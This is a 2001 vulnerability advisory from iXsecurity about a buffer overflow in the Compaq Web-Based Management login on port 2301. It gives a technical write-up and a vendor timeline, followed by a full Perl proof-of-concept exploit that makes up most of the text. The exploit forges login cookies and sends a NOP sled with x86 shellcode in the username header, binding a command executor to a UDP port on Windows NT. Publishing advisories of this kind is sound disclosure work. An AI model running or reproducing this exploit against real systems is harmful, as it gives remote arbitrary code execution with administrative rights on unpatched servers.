|
Home : Advisories : The authentication of Compaq Web-Based Management contains a remotely exploitable buffer overflow
Title: |
The authentication of Compaq Web-Based Management contains a remotely exploitable buffer overflow |
Released by: |
iXsecurity |
Date: |
15th January 2001 |
Printable version: |
Click here |
iXsecurity Security Vulnerability Report
No: iXsecurity.20001120.compaq-authbo.a
=======================================
Vulnerability Summary
---------------------
Problem: The authentication of Compaq Web-Based
Management contains a remotely
exploitable buffer overflow
Threat: Anyone that has access to port 2301 on a
Windows NT server can run arbitrary
code as Administrators (like RDS)
Affected Software: Compaq Management Agents
(Software version 4.70 verified)
Verified Platforms: Windows NT SP3 and SP6a
Solution: Install patch
Vulnerability Description
-------------------------
http://Server.with.CWBM:2301/cpqlogin.htm is
accessible for everyone by default and contains a
remotely exploitable buffer overflow.
Additional Vulnerability Information
------------------------------------
Compaq Management Agents and Compaq Web-Based Management
is installed by default using the SmartStart CD.
The Web-Based Management binds to port 2301 and the java
applet (on http://IP:2301/cpqlogin.htm) that is used for
an user to log in, sends username and encrypted
password to http://IP:2301/Proxy/LoginResponse.
Injection
Due to the lack of bounds checking, the user name sent to
this URL can be used to overwrite the EIP. This happens when
the user name is exactly 460 bytes long. If the user name is
more than 460 bytes, but less than (about) 1500 bytes,
another overflow occurs that we cannot currently exploit.
If the user name is over 1500 bytes, an error message is
returned! This is interesting, because it seems like there
is *some* kind of bounds checking after all. It just doesn't
work properly. Before the fatal return instruction, there is
a POP EBP, so EBP is also overwritten.
Our initial research indicates that the stack for this
process is always placed at the virtual address 0x00fdffff
(on Windows NT SP3) and growing up towards lower addresses
(as usual). At the moment, we use this fact to do a direct
jump to the assumed beginning of the buffer. Since we are way
below 452 bytes, we use the spare bytes in the beginning for
a NOP sled.
Payload
With this setup, we have a maximum of 452 bytes to use for
the payload. Barnaby Jack's frequently used (and very nice)
payload vector is closer to 600 bytes, so we take a slightly
different approach. First, we use a datagram socket instead
of a stream socket. That saves us a few bytes. Then we don't
use anonymous pipes and don't return anything to the client.
That makes it less user friendly, but saves us a lot of
bytes. Finally, we use WinExec instead of creating a cmd.exe
process. This saves some bytes. Eventually this affects our
rights, but we can at least still run rdisk and copy the sam
file. That takes us a long way in proof-of-concept terms.
Using this approach we are aldready way below our 453 byte
limit. Actually this code is about 256 bytes. Happy about
reaching the goal directly, we have not even tried to
optimized the code. Therefore it will be easy to get it
even smaller if it is necessary. Drop us a line if you do
it or if you need any help to do it.
Other Information
-----------------
Some Compaq installations have ports 49400 and 49401 open
too. These ports are not verified.
This vulnerability has already been reported to
the Securityfocus Vulnerability Database:
http://www.securityfocus.com/bid/2200
Vendor contacts and solution
----------------------------
11/12-2000
Compaq wants iXsecurity to 'Contact your local Compaq
Worldwide office for escalation'.
TRACKING NUMBER: A00000399318-00001263158.
2/1-2001 Escalated
Case id SSRT0705 CIM Buffer overflow.
5/1-2001
Compaq choose not to attribute the discovery to iXsecurity.
10/1-2001 Solution
Compaq Advisory located:
http://www.compaq.com/products/servers/management/agentsecurity.html
Greetings and credits
---------------------
Greg Höglund, as always when it comes to NT buffer overflows.
Barnaby Jack, for another great paper on the subject.
David Litchfield, for yet another great paper.
Obecian & Qwerty of Subterrain and Caezar of the Ghettohackers.
-----------------------------------------------
Ian Vitek, mailto:ian.vitek@ixsecurity.com
Anders Ingeborn, mailto:ingeborn@ixsecurity.com
-----------------------------------------------------
iXsecurity (formerly Infosec) is a Swedish and United
Kingdom based tigerteam that has worked with computer-
related security since 1982. We have done technical security
audits (pentests) since 1996. iXsecurity is now searching
for co-workers in Sweden and in the UK.
Please call Christer Stafferod for more information
phone: +46-8-6621070
mailto:christer.stafferod@ixsecurity.com
=====================
Proof of concept code
---------------------
Comments
This Perl script uses MD5.
This code is using direct jumps. It may not work on your
system. It has only been tested on Windows NT SP3 and SP6a.
When investigating iXsecurity found the password hash
algorithm. This algorithm is used in the code to
create logon cookies. iXsecurity have written a Compaq
cookie password cracker using this algorithm and posted it
to Bugtraq. Bugtraq have chosen not to publish this tool.
====================
#!/usr/bin/perl
$ver = "Comphack 1.3 -- iXsecurity Sweden, December 2000";
$code = "Ian Vitek, ian.vitek\@ixsecurity.com";
$asm = "Anders Ingeborn, ingeborn\@ixsecurity.com";
$spam = "We are now hiring in Sweden and United Kingdom";
$|=1;
use MD5;
use Socket;
require 'getopts.pl';
# Modified Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {
# this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S);
$|=1;
print $pstr;
sleep 20 if($exp);
while(){ push @in, $_;}
# Messing up FH 8) Dirty? Yupp!
# Try to figure out why
# Clue: Windows
select($undef);
close(S);
return @in;
} else { die("\n Can't connect...\n"); }
}
Getopts('s:p:P:m:h');
print "\n$ver\n Perlcode: $code\n ASM code: $asm\n";
die " $spam\n\
usage: $0 -s [options] \
\t-s Host with Compaq Web Manager\
\t-p Port (Def: 2301)\
\t-P CMD.EXE port (Def: 23001)\
\t-m [3|6] Service Pack (Def: 3)\
\t-h This help\n\
Then send commands to port 23001/udp like this:\
echo \"cmd /c mkdir c:\\iXsecurity\" | nc -u 23001\n\n" if ( $opt_h || !
$opt_s || ! ( $opt_m==3 || $opt_m==6 || $opt_m eq "" ) );
$httphead="Referer: http://${opt_s}:2301/\
Connection: Keep-Alive\
User-Agent: Mozilla/4.73 [en] (X11; U; Linux 2.2.16 i686)\
Host: ${opt_s}:2301\
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\
Accept-Encoding: gzip\
Accept-Language: en\
Accept-Charset: iso-8859-1,*,utf-8";
$opt_p = 2301 if(!$opt_p);
$port = $opt_p;
$opt_P = 23001 if(!$opt_P);
$opt_P=$opt_P % 65536;
die " int(CMDport/256) or (CMDport % 256) may not be 65!\n\n" if
(int($opt_P/256)==65 || ($opt_P % 256)==65);
$var1=int($opt_P/256) ^ 65;
$var2=($opt_P %256) ^ 65;
$CMDport=sprintf("%s%s",chr($var1),chr($var2));
$target = inet_aton($opt_s);
$r = "\x0D\x0A";
$opt_m = 3 if(!$opt_m);
$offset="\xfd";
$offset="\xfa" if($opt_m==6);
$m = $opt_m;
$exp=0;
## NOP sled
$payload = "";
$i = 0;
while( $i++ <= 207 )
{
$payload .= "\x90";
}
$payload .= "\xbc\x41\x54\xf6$offset"; #qd4
$payload .= "\xc1\xec\x08"; #qd4
$payload .= "\xc1\xed\x08"; #qd3
$payload .= "\x31\xc9";
$payload .= "\x81\xc1\x41\x41\x41\x52";
$payload .= "\xc1\xe9\x18";
$payload .= "\x80\x74\x29\x01\x41"; #qd1
$payload .= "\xe2\xf9";
$payload .= "\x8d\x45\x02";
$payload .= "\x50";
#LoadLibrary
if( $m == "3" ) #NT4SP3
{ $payload .= "\xb8\x56\x37\xf1\x77"; }
if( $m == "5" ) #NT4SP5
{ $payload .= "\xb8\xc9\x37\xf1\x77"; }
if( $m == "6" ) #NT4SP6
{ $payload .= "\xb8\xbd\x37\xf1\x77"; }
$payload .= "\xff\xd0";
$payload .= "\x89\xc3";
#GetProcAddress
if( $m == "3" ) #NT4SP3
{ $payload .= "\xbe\x57\x3f\xf1\x77"; }
if( $m == "5" ) #NT4SP5
{ $payload .= "\xbe\xca\x3f\xf1\x77"; }
if( $m == "6" ) #NT4SP6
{ $payload .= "\xbe\xb3\x3f\xf1\x77"; }
$payload .= "\x8d\x45\x09"; #qd2
$payload .= "\x40"; #qd2
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\xd6";
$payload .= "\xab";
$payload .= "\x8d\x45\x11";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\xd6";
$payload .= "\xab";
$payload .= "\x8d\x45\x16";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\xd6";
$payload .= "\xab";
$payload .= "\x8d\x45\x1f";
$payload .= "\x50";
#LoadLibrary
if( $m == "3" ) #NT4SP3
{ $payload .= "\xb8\x56\x37\xf1\x77"; }
if( $m == "5" ) #NT4SP5
{ $payload .= "\xb8\xc9\x37\xf1\x77"; }
if( $m == "6" ) #NT4SP6
{ $payload .= "\xb8\xbd\x37\xf1\x77"; }
$payload .= "\xff\xd0";
$payload .= "\x89\xc3";
$payload .= "\x8d\x45\x28";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\xd6";
$payload .= "\xab";
$payload .= "\x31\xc0";
$payload .= "\x50";
$payload .= "\x40";
$payload .= "\x40";
$payload .= "\x50";
$payload .= "\x50";
$payload .= "\xff\x57\xf0";
$payload .= "\x89\xc3";
$payload .= "\x6a\x10";
$payload .= "\x8d\x45\x30";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\x57\xf4";
$payload .= "\x8d\x45\x50";
$payload .= "\x50";
$payload .= "\x8d\x45\x40";
$payload .= "\x50";
$payload .= "\x31\xc0";
$payload .= "\x50";
$payload .= "\x6a\x7f";
$payload .= "\x8d\x07";
$payload .= "\x50";
$payload .= "\x53";
$payload .= "\xff\x57\xf8";
$payload .= "\x3c\x06";
$payload .= "\x0f\x8e\xe4\xff\xff\xff";
$payload .= "\x80\x64\x07\xff\x01";
$payload .= "\x8d\x07";
$payload .= "\x50";
$payload .= "\xff\x57\xfc";
$payload .= "\x39\xc0";
$payload .= "\x0f\x84\xd1\xff\xff\xff";
#data xor:ed with A
$payload .= "\x36\x32\x2e\x22\x2a\x72\x73\x41";
$payload .= "\x32\x2e\x22\x2a\x24\x35\x41";
$payload .= "\x23\x28\x2f\x25\x41";
$payload .= "\x33\x24\x22\x37\x27\x33\x2e\x2c\x41";
$payload .= "\x2a\x24\x33\x2f\x24\x2d\x72\x73\x41";
$payload .= "\x16\x28\x2f\x04\x39\x24\x22\x41";
$payload .= "\x43\x41";
# CMDport xored with x41x41
$payload .= $CMDport;
$payload .= "\x41\x41\x41\x41";
$payload .= "\x41\x41\x41\x41\x41\x41\x41\x41";
$payload .= "\x41\x41";
$payload .= "\x41\x41";
$payload .= "\x41\x41\x41\x41";
$payload .= "\x41\x41\x41\x41\x41\x41\x41\x41";
$payload .= "\x51\x41\x41\x41";
$ebp = "\x41\xc4\xf7$offset";
# Try to do a direct jump, cross your fingers
$eip = "\x54\xf6$offset\x00";
$payload = $payload.$ebp.$eip;
print "\n Init by logging in as ixsecurity:is_hiring\n";
print " Trying to bind CMD.EXE to UDP port $opt_P\n";
print " Wait 10 seconds. Try then the command:\n";
print " echo \"cmd /c mkdir c:\\cim_bo\" | nc -u $opt_s $opt_P\n";
&cpqlogin("ixsecurity","is_hiring");
&sendexp;
sub cpqlogin {
$cpquser=$_[0];
$cpqpass=$_[1];
# Get loginpage and cookie
@res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r");
foreach $line (@res) {
if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {
# Rebuild cookie to password respond
$tmp=$2; $tmp++;
$ccoo="$1$tmp$3";
}
}
$stringUserPass=$cpquser . ":" . $cpqpass;
$md5StringUserPass=uc MD5->hexhash($stringUserPass);
$loginCookie1=$ccoo . $cpquser . $md5StringUserPass;
$md5LoginCookie=uc MD5->hexhash($loginCookie1);
$ccoo.=$md5LoginCookie;
# Login
@res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie:
${ccoo}${r}Compaq-WBEM-UserName: $cpquser$r$r");
foreach $line (@res) {
if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {
$ccoon="$1$2$3";
}
}
sleep 2;
# Do some surfing
@res = sendraw("GET / HTTP/1.0${r}${httphead}${r}Cookie: $ccoon$r$r");
sleep 2;
}
sub sendexp {
# Get loginpage and fresh cookie
@res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r");
foreach $line (@res) {
if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) {
# Rebuild cookie to password respond
$tmp=$2; $tmp++;
$ccoo="$1$tmp$3";
}
}
$stringUserPass="iXsecurity" . ":" . "iXsecurity";
$md5StringUserPass=uc MD5->hexhash($stringUserPass);
$loginCookie1=$ccoo . "iXsecurity" . $md5StringUserPass;
$md5LoginCookie=uc MD5->hexhash($loginCookie1);
$ccoo.=$md5LoginCookie;
$exp=1;
# Send buffer...
@res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie:
${ccoo}${r}Compaq-WBEM-UserName: $payload$r$r");
die " $0 failed!\n\n" if($res[0]=~/HTTP/);
die " Port $opt_P is now closed or $0 failed!\n\n";
}
|